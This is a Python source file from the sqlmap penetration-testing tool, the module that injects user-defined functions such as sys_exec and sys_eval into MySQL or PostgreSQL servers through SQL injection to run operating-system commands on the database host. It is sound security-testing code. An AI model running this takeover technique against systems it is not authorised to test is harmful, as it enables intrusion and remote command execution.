sqlmap/lib/takeover/udf.py
Levi Gross 828140cb88 Fixed import style
Signed-off-by: Levi Gross <levi@levigross.com>
2012-12-05 15:41:12 -05:00

369 lines
13 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
from lib.core.agent import agent
from lib.core.common import dataToStdout, Backend, isTechniqueAvailable, readInput
from lib.core.data import conf, logger, queries
from lib.core.enums import DBMS, CHARSET_TYPE, EXPECTED, OS, PAYLOAD
from lib.core.common import unArrayizeValue
from lib.core.exception import sqlmapFilePathException, sqlmapMissingMandatoryOptionException, \
sqlmapUnsupportedFeatureException, sqlmapUserQuitException
from lib.core.unescaper import unescaper
from lib.request import inject
class UDF(object):
"""
This class defines methods to deal with User-Defined Functions for
plugins.
"""
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists:
overwrite = self.__askOverwriteUdf(udf)
if overwrite:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table for user-defined functions"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfForgeCmd(self, cmd):
if not cmd.startswith("'"):
cmd = "'%s" % cmd
if not cmd.endswith("'"):
cmd = "%s'" % cmd
return cmd
def udfExecCmd(self, cmd, silent=False, udfName=None):
if udfName is None:
udfName = "sys_exec"
cmd = unescaper.unescape(self.udfForgeCmd(cmd))
return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
if udfName is None:
udfName = "sys_eval"
if conf.direct:
output = self.udfExecCmd(cmd, udfName=udfName)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
new_output += line.replace("\r", "\n")
output = new_output
else:
cmd = unescaper.unescape(self.udfForgeCmd(cmd))
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
return output
def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and not Backend.isDbms(DBMS.PGSQL) ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread")
if not conf.osPwn:
self.sysUdfs.pop("sys_bineval")
if not conf.osCmd and not conf.osShell and not conf.regRead:
self.sysUdfs.pop("sys_eval")
if not conf.osPwn and not conf.regAdd and not conf.regDel:
self.sysUdfs.pop("sys_exec")
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfSetLocalPaths(self):
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfCreateFromSharedLib(self, udf=None, inpRet=None):
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary")
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if Backend.isDbms(DBMS.MYSQL):
supportTblType = "longtext"
elif Backend.isDbms(DBMS.PGSQL):
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectSys(self):
self.udfSetLocalPaths()
self.udfCheckNeeded()
self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in ( DBMS.MYSQL, DBMS.PGSQL ):
errMsg = "UDF injection feature is not yet implemented on %s" % Backend.getIdentifiedDbms()
raise sqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
self.checkDbmsOs()
if not self.isDba():
warnMsg = "functionality requested probably does not work because "
warnMsg += "the curent session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "what is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException(errMsg)
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException(errMsg)
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException(errMsg)
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, basestring) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if Backend.isDbms(DBMS.MYSQL):
defaultType = "string"
elif Backend.isDbms(DBMS.PGSQL):
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, basestring) and parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, basestring) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] in ( "n", "N" ):
self.cleanup(udfDict=self.udfs)
return
elif choice[0] in ( "q", "Q" ):
self.cleanup(udfDict=self.udfs)
raise sqlmapUserQuitException
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf in self.udfs.keys():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice and choice[0] in ( "q", "Q" ):
break
elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
conf.dumper.string("return value", output)
else:
dataToStdout("No return value\n")
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)